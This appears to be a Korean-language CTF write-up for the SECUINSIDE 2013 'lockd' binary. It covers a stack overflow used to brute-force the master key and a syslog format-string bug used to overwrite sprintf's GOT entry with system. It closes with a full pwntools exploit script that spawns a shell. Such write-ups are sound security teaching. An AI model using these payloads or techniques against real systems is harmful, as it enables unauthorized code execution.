SECUINSIDE CTF 2013 - lockd

0x00. Introduction

[*] '/home/user/lockd'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

0x01. Vulnerability

Buffer Overflow

int main()
{
  ...
  printf("Input floor > ");
  __isoc99_scanf("%d", &floor_804A4C0);
  printf("Room number > ");
  __isoc99_scanf("%d", &room_804A0A0);
  if ( floor_804A4C0 <= 4 && room_804A0A0 <= 10 && !read_password_8048A7D() )
  {
    ...
  }
  return -1;
}

main()์˜ ํ•ต์‹ฌ์ ์ธ lock(), unlock() ๊ธฐ๋Šฅ์„ ์‚ฌ์šฉํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” floor_804A4C0, room_804A0A0 ๊ฐ’์„ ๋ฒ”์œ„์— ๋งž๊ฒŒ ์ž…๋ ฅํ•˜๊ณ , read_password_8048A7D()์˜ ๊ฒฐ๊ณผ๊ฐ€ True์—ฌ์•ผ ํ•œ๋‹ค.

int read_password_8048A7D()
{
  FILE *fd; // [esp+10h] [ebp-38h]
  char buf[20]; // [esp+14h] [ebp-34h] BYREF
  char password[20]; // [esp+28h] [ebp-20h] BYREF
  int canary; // [esp+3c] [ebp-c]

  *&password[20] = __readgsdword(0x14u);
  fd = fopen("password", "rb");
  fread(password, 1u, 0x10u, fd);
  fclose(fd);
  *password_804A0A4 = *password;
  *&password_804A0A4[4] = *&password[4];
  *&password_804A0A4[8] = *&password[8];
  *&password_804A0A4[12] = *&password[12];
  printf("Input master key > ");
  read(0, buf, 40u);
  return memcmp(password, buf, 16u);
}

์ด ๋•Œ 20๋ฐ”์ดํŠธ์งœ๋ฆฌ buf์— 40๋ฐ”์ดํŠธ๋งŒํผ ์ž…๋ ฅ์„ ๋ฐ›๊ธฐ ๋•Œ๋ฌธ์— ์ง€์—ญ๋ณ€์ˆ˜ password๋ฅผ ๋ฎ์„ ์ˆ˜ ์žˆ๋‹ค.

FSB in syslog

int lock_8048877()
{
  printf("Input master key > ");
  read(0, fmt_0804A0C0, 20u);
  if ( memcmp(password_804A0A4, fmt_0804A0C0, 16u) )
    return -1;
  sprintf(fmt_0804A0C0, "./lock LOCK %d %d", floor_804A4C0, room_804A0A0);
  system(fmt_0804A0C0);
  printf("Your name > ");
  read(0, name_804A2C0, 0x190u);
  sprintf(fmt_0804A0C0, "LOCK %d-%d by %s", floor_804A4C0, room_804A0A0, name_804A2C0);
  syslog(13, fmt_0804A0C0);
  return 0;
}

password leak์— ์„ฑ๊ณตํ•˜๋ฉด lock()๊ณผ unlock()์˜ ๊ธฐ๋Šฅ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค.

์ด ์ค‘์—์„œ syslog()์— ๋Œ€ํ•ด์„œ ์ž์„ธํ•˜๊ฒŒ ์‚ดํŽด๋ณด๋ฉด,

void syslog(int priority, const char *format, ...);

๋‘ ๋ฒˆ์งธ ์ธ์ž format์€ format string์œผ๋กœ, Linux manual page์—์„œ๋„ ๊ด€๋ จ ๋‚ด์šฉ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

Never pass a string with user-supplied data as a format, use the following instead: syslog(priority, "%s", string);

๊ทธ๋Ÿฐ๋ฐ lock()์—์„œ๋Š” syslog(13, fmt_0804A0C0); ํ˜•์‹์œผ๋กœ ์‚ฌ์šฉํ•˜๊ณ  ์žˆ๊ธฐ ๋•Œ๋ฌธ์— fmt_0804A0C0์— format string์„ ๋„ฃ์–ด์ฃผ๋ฉด FSB๊ฐ€ ๋ฐœ์ƒํ•œ๋‹ค.

๋‹คํ–‰ํžˆ name_804A2C0๋ฅผ ํ†ตํ•ด fmt_0804A0C0์— format string์„ ์ „๋‹ฌํ•  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ, ์ทจ์•ฝ์ ์„ ํ™œ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค.

0x02. Exploit

Info Leak

int read_password_8048A7D()
{
  FILE *fd; // [esp+10h] [ebp-38h]
  char buf[20]; // [esp+14h] [ebp-34h] BYREF
  char password[20]; // [esp+28h] [ebp-20h] BYREF
  int canary; // [esp+3c] [ebp-c]

  *&password[20] = __readgsdword(0x14u);
  fd = fopen("password", "rb");
  fread(password, 1u, 0x10u, fd);
  fclose(fd);
  *password_804A0A4 = *password;
  *&password_804A0A4[4] = *&password[4];
  *&password_804A0A4[8] = *&password[8];
  *&password_804A0A4[12] = *&password[12];
  printf("Input master key > ");
  read(0, buf, 40u);
  return memcmp(password, buf, 16u);
}

read_password_8048A7D()๋ฅผ ๋ณด๋ฉด read()์—์„œ 40๋ฐ”์ดํŠธ๋ฅผ ์ฝ์œผ๋ฉฐ ์ง€์—ญ๋ณ€์ˆ˜ password์˜ ๊ฐ’์„ ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ์ง€๋งŒ, lock()์ด๋‚˜ unlock()์—์„œ๋Š” ์ „์—ญ๋ณ€์ˆ˜ password_804A0A4์˜ ๊ฐ’๊ณผ ๋น„๊ตํ•˜๊ธฐ ๋•Œ๋ฌธ์— ์˜๋ฏธ๊ฐ€ ์—†๋‹ค.

๋Œ€์‹  ๋‹ค๋ฅธ ๊ณต๊ฒฉ์ด ๊ฐ€๋Šฅํ•œ๋ฐ, password์˜ ๋งˆ์ง€๋ง‰ 1๋ฐ”์ดํŠธ๋ฅผ ๋‚จ๊ฒจ๋†“๊ณ  ์•ž ๋ถ€๋ถ„์€ buf์™€ ๊ฐ™์€ ๊ฐ’์œผ๋กœ ๋ฎ์œผ๋ฉด 1๋ฐ”์ดํŠธ์”ฉ brute forcing์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

๋”ฐ๋ผ์„œ ๋‹ค์Œ๊ณผ ๊ฐ™์ด payload๋ฅผ ์ž‘์„ฑํ–ˆ๋‹ค.

def guess_key(s):
    key = []
    for i in range(16):
        for j in range(256):
            s = remote("0.0.0.0", 8107)
            floor_and_room(s, 1, 2)
            payload = b"A" * (16 - len(key) - 1)
            payload += chr(j).encode()
            payload += ''.join(key).encode()
            payload += b"B" * 4
            payload += b"A" * (16 - len(key) - 1)
            s.send(payload)
            try:
                if s.recv():
                    key.insert(0, chr(j))
                    log.success(f"HIT : {key}")
                    s.close()
                    break
            except:
                s.close()
                continue
    return key

FSB

ํ‰์†Œ์ฒ˜๋Ÿผ FSB๋ฅผ ํ™œ์šฉํ•˜๋ ค๋ฉด payload๋ฅผ %p %p %p %p ... ์ด๋Ÿฐ ์‹์œผ๋กœ ๊ตฌ์„ฑํ•ด์„œ ๋ช‡ ๋ฒˆ์งธ format string๋ถ€ํ„ฐ $esp๊ฐ€ ๊ฐ€๋ฆฌํ‚ค๋Š” ๋ถ€๋ถ„์ธ์ง€ ํ™•์ธํ•œ๋‹ค. ํ•˜์ง€๋งŒ syslog()๋Š” /var/log/syslog์— ๋กœ๊ทธ๋ฅผ ๋‚จ๊ธธ ๋ฟ์ด๋ผ์„œ ๊ฒฐ๊ณผ๋ฅผ ํ™•์ธํ•  ์ˆ˜๊ฐ€ ์—†์—ˆ๋‹ค. ๊ฒฐ๊ตญ %?$n์—์„œ ?๊ฐ’์„ ๋Š˜๋ ค๊ฐ€๋ฉฐ ์–ธ์ œ ์–ด๋””์— ๊ฐ’์ด ์จ์ง€๋Š”์ง€ ์†์œผ๋กœ ํผ์ง•์„ ํ–ˆ๋‹ค.

๊ทธ ๊ฒฐ๊ณผ $esp์—์„œ n๋ฒˆ์งธ ๋ฉ”๋ชจ๋ฆฌ๋Š” %(n + 2)$n์œผ๋กœ ์ ‘๊ทผํ•  ์ˆ˜์žˆ๋‹ค๋Š” ๊ฒƒ์„ ํ™•์ธํ–ˆ๋‹ค.

๋˜ํ•œ ์šฐ๋ฆฌ๊ฐ€ ์ž…๋ ฅํ•œ format string๋งŒ ์ถœ๋ ฅ๋˜๋Š” ๊ฒƒ์ด ์•„๋‹ˆ๋ผ "LOCK %d-%d by %s" ๋ฌธ์ž์—ด์˜ %s ๋ถ€๋ถ„์— format string์ด ๋“ค์–ด๊ฐ€๋ฏ€๋กœ 0xc๋ฐ”์ดํŠธ๋งŒํผ ๊ฐ’์ด ๋” ์จ์ง„๋‹ค. ๋”ฐ๋ผ์„œ ๋‹ค์Œ๊ณผ ๊ฐ™์ด payload๋ฅผ ์ž‘์„ฑํ–ˆ๋‹ค.

    # %n$ -> pointing (n + 2)th dword from esp
    value = elf.got['sprintf']
    index = 26
    lock(s, key, f"%{value - 0xc}c%{index - 2}$n".encode())

์ด์ œ exploit์„ ์œ„ํ•ด syslog()๋ฅผ ํ˜ธ์ถœํ•  ๋•Œ์˜ stack์„ ๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

gefโžค  x/20wx $esp
0xffffdcc0:     0x0000000d      0x0804a0c0      0x00000001      0x00000002
0xffffdcd0:     0x0804a2c0      0x08048cb1      0xf7e760d9      0xf7fcd000
0xffffdce0:     0x00000000      0x00000000      0xffffdd18      0x0804883a
0xffffdcf0:     0x08048c9f      0xffffdd08      0x00000002      0x00000000
0xffffdd00:     0xf7fcd3c4      0xf7ffd000      0x00000001      0xf7fcd000
gefโžค  x/20wx $esp + 0x50
0xffffdd10:     0x08048b90      0x00000000      0x00000000      0xf7e39af3
0xffffdd20:     0x00000001      0xffffddb4      0xffffddbc      0xf7feae6a
0xffffdd30:     0x00000001      0xffffddb4      0xffffdd54      0x0804a02c
0xffffdd40:     0x08048328      0xf7fcd000      0x00000000      0x00000000
0xffffdd50:     0x00000000      0x3cf1e46c      0x047ec07c      0x00000000
gefโžค  x/20wx $esp + 0xa0
0xffffdd60:     0x00000000      0x00000000      0x00000001      0x08048670
0xffffdd70:     0x00000000      0xf7ff0660      0xf7e39a09      0xf7ffd000
0xffffdd80:     0x00000001      0x08048670      0x00000000      0x08048691
0xffffdd90:     0x08048724      0x00000001      0xffffddb4      0x08048b90
0xffffdda0:     0x08048c00      0xf7feb300      0xffffddac      0x0000001c
gefโžค  x/20wx $esp + 0xf0
0xffffddb0:     0x00000001      0xffffdec4      0x00000000      0xffffded6
0xffffddc0:     0xffffdeec      0xffffdefd      0xffffdf0e      0xffffdf50
0xffffddd0:     0xffffdf56      0xffffdf66      0xffffdf73      0xffffdf89
0xffffdde0:     0xffffdfa3      0xffffdfb7      0xffffdfd1      0x00000000
0xffffddf0:     0x00000020      0xf7fda540      0x00000021      0xf7fda000
gefโžค  x/20wx $esp + 0x140
0xffffde00:     0x00000033      0x000006f0      0x00000010      0x178bfbff
0xffffde10:     0x00000006      0x00001000      0x00000011      0x00000064
0xffffde20:     0x00000003      0x08048034      0x00000004      0x00000020
0xffffde30:     0x00000005      0x00000009      0x00000007      0xf7fdc000
0xffffde40:     0x00000008      0x00000000      0x00000009      0x08048670

๋ชจ๋“  ์ž…๋ ฅ์„ ์ „์—ญ๋ณ€์ˆ˜์— ๋ฐ›๊ธฐ ๋•Œ๋ฌธ์— stack์— ์žˆ๋Š” ๊ฐ’์„ ์ž˜ ์ด์šฉํ•ด์„œ exploit์„ ํ•ด์•ผํ•œ๋‹ค. ์ฒ˜์Œ์—๋Š” 4๋ฐ”์ดํŠธ๊ฐ€ ํ•œ๋ฒˆ์— ์จ์งˆ๊ฑฐ๋ผ๊ณ  ์ƒ๊ฐ์„ ๋ชปํ•ด์„œ

gefโžค  x/wx $esp + 0x64
0xffffdd24:     0xffffddb4
gefโžค  x/wx 0xffffddb4
0xffffddb4:     0xffffdec4
  1. 0xffffddb4์— 0x00 write
  • 0xffffddb4: 0xffffde00
  1. 0xffffde00์— 2๋ฐ”์ดํŠธ write (ํ•˜์œ„ 2๋ฐ”์ดํŠธ)
  • 0xffffde00: 0x0000a03c
  1. 0xffffddb4์— 0x02 write
  • 0xffffddb4: 0xffffde02
  1. 0xffffde00์— 2๋ฐ”์ดํŠธ write (์ƒ์œ„ 2๋ฐ”์ดํŠธ)
  • 0xffffde00: 0x0804a03c
  1. 0x0804a03c(sprintf got)์— 2๋ฐ”์ดํŠธ write

์ด๋Ÿฐ ์‹์œผ๋กœ exploit์„ ์ง„ํ–‰ํ•˜๋ ค๊ณ  ํ–ˆ์œผ๋‚˜, ASLR์„ ํ‚ค๊ณ  ๋‚˜๋‹ˆ๊นŒ ์ƒํ™ฉ์ด ๋‹ฌ๋ผ์กŒ๋‹ค.

gefโžค  x/wx $esp+0x64
0xff8ca684:     0xff8ca714
gefโžค  x/wx 0xff8ca714
0xff8ca714:     0xff8caec4

ASLR์ด ๊บผ์ง„ ๊ฒฝ์šฐ 0xffffddb4๊ฐ€ 0xffffdec4๋ฅผ ๊ฐ€๋ฆฌํ‚ค๊ณ  ์žˆ์–ด 0xffffde?? ์˜์—ญ์„ ์ปจํŠธ๋กคํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐ˜๋ฉด

ASLR์ด ์ผœ์ง„ ๊ฒฝ์šฐ 0xff8ca714๊ฐ€ 0xff8caec4๋ฅผ ๊ฐ€๋ฆฌํ‚ค๊ณ  ์žˆ์–ด 0xff8cae?? ์˜์—ญ์„ ์ปจํŠธ๋กคํ•  ์ˆ˜ ์žˆ๋‹ค.

์ด๋Ÿฌ๋ฉด sprintf()์˜ got ์ฃผ์†Œ๋ฅผ stack์— ์ž˜ ๊ตฌ์„ฑํ•ด๋†“๊ณ  ์ •์ž‘ %?$n์œผ๋กœ ์ ‘๊ทผํ•  ๋•Œ ? ๊ฐ’์ด ์ผ์ •ํ•˜์ง€ ์•Š๋‹ค๋Š” ๋ฌธ์ œ๊ฐ€ ๋ฐœ์ƒํ•œ๋‹ค. ๊ทธ๋ ‡๊ฒŒ ํ™•๋ฅ  ์ด์Šˆ๋กœ ํ•œ์ฐธ ๊ณ ์ƒ์„ ํ•˜๋‹ค๊ฐ€ ์•Œ๊ฒŒ ๋œ ์‚ฌ์‹ค์ด 0x0804a03c๊ฐ€ ํ•œ ๋ฒˆ์— ์“ฐ์—ฌ์ง„๋‹ค๋Š” ๊ฒƒ์ธ๋ฐ, ๊ทธ๋Ÿฌ๋ฉด exploit์ด ์ƒ๋‹นํžˆ ๊ฐ„๊ฒฐํ•ด์ง„๋‹ค.

  1. 0xffffddb4์— 0x0804a03c(sprintf got) write
  • 0xffffddb4: 0x0804a03c
  1. 0x0804a03c์— 0x080485e0(system plt) write
  • 0x0804a03c: 0x080485e0

์ฐธ๊ณ ๋กœ sprintf()๋ฅผ system()์œผ๋กœ ๋ฎ๋Š” ์•„์ด๋””์–ด๋Š” ์ฒซ ๋ฒˆ์งธ ์ธ์ž์— ๋‚ด๊ฐ€ ์ปจํŠธ๋กคํ•  ์ˆ˜ ์žˆ๋Š” ๊ฐ’์ด ๋“ค์–ด๊ฐ€๋Š” ํ•จ์ˆ˜๊ฐ€ sprintf()๋ฐ–์— ์—†์—ˆ๋‹ค.

  read(0, fmt_0804A0C0, 20u);
  if ( memcmp(password_804A0A4, fmt_0804A0C0, 16u) )
    return -1;
  sprintf(fmt_0804A0C0, "./lock UNLOCK %d %d", floor_804A4C0, room_804A0A0);

์ฒซ ๋ฒˆ์งธ ์ธ์ž์ธ fmt_0804A0C0์— password๊ฐ€ ๋‹ด๊ฒจ์žˆ์–ด์•ผ ํ•˜๋Š”๋ฐ, ๋‹คํ–‰ํžˆ memcmp()๋ฅผ 16๋ฐ”์ดํŠธ๋งŒ ํ•˜๋Š” ๋ฐ˜๋ฉด ์ž…๋ ฅ์€ 20๋ฐ”์ดํŠธ๋ฅผ ๋ฐ›์œผ๋ฏ€๋กœ 4๋ฐ”์ดํŠธ์˜ ์—ฌ์œ  ๊ณต๊ฐ„์ด ์ƒ๊ธด๋‹ค. ๋”ฐ๋ผ์„œ key ๋’ค์— ;sh๋ฅผ ๋„ฃ์–ด์ฃผ๋ฉด GOT overwrite๊ฐ€ ์„ฑ๊ณตํ–ˆ์„ ๋•Œ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ํ•จ์ˆ˜๊ฐ€ ์‹คํ–‰๋œ๋‹ค.

  // sprintf(fmt_0804A0C0, "./lock UNLOCK %d %d", floor_804A4C0, room_804A0A0);
  system("c39f30e348c07297;sh");

์•ž์˜ c39f30e348c07297 ๋ถ€๋ถ„์€ ์—†๋Š” ๋ช…๋ น์ด๋ฏ€๋กœ ๋ฌด์‹œ๋˜๊ณ , ๋‹ค์Œ ๋ช…๋ น์ธ sh๊ฐ€ ์‹คํ–‰๋˜์–ด shell์„ ์‹คํ–‰์‹œํ‚ฌ ์ˆ˜ ์žˆ๋‹ค.

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
import sys, os

DEBUG = True
BINARY = "lockd"
bp = {
    'read_password' : 0x08048A7D,
    'unlock' : 0x804897A,
    'lock' : 0x8048877,
    'syslog_of_lock' : 0x804896e,
}

gs = f'''
b *{bp["syslog_of_lock"]}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def floor_and_room(s, floor, room):
    s.recv()
    s.sendline(str(floor).encode())
    s.recv()
    s.sendline(str(room).encode())
    s.recv()

def lock(s, key, name):
    s.sendline(b"1")
    s.recv()
    s.sendline(key)
    s.recv()
    s.sendline(name)
    return s.recv()

def guess_key(s):
    key = []
    for i in range(16):
        for j in range(256):
            s = remote("0.0.0.0", 8107)
            floor_and_room(s, 1, 2)
            payload = b"A" * (16 - len(key) - 1)
            payload += chr(j).encode()
            payload += ''.join(key).encode()
            payload += b"B" * 4
            payload += b"A" * (16 - len(key) - 1)
            s.send(payload)
            try:
                if s.recv():
                    key.insert(0, chr(j))
                    log.success(f"HIT : {key}")
                    s.close()
                    break
            except:
                s.close()
                continue
    return key

def main():
    if(len(sys.argv) > 1):
        s = remote("0.0.0.0", int(sys.argv[1]))
        pid = os.popen(f"sudo docker top {BINARY} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
        if DEBUG:
            gdb.attach(int(pid), gs, exe=BINARY, sysroot="./")
    else:
        s = process(BINARY)
        if DEBUG:
            gdb.attach(s, gs)
    elf = ELF(BINARY)

    floor_and_room(s, 1, 2)
    
    # [+] key : c39f30e348c07297
    # key = ''.join(guess_key(s))
    # log.success(f"key : {key}")
    key = b"c39f30e348c07297"
    s.send(key)
    s.recv()

    log.info(f"key : {key}")
    log.info(f"sprintf got : {hex(elf.got['sprintf'])}")
    log.info(f"system plt : {hex(elf.plt['system'])}")

    # %n$ -> pointing (n + 2)th dword from esp
    value = elf.got['sprintf']
    index = 26
    lock(s, key, f"%{value - 0xc}c%{index - 2}$n".encode())
    
    value = elf.plt['system']
    index = 62
    lock(s, key, f"%{value - 0xc}c%{index - 2}$n".encode())
    
    s.sendline(b"1")
    s.recv()
    s.sendline(key + b";sh")
    s.interactive()

if __name__=='__main__':
    main()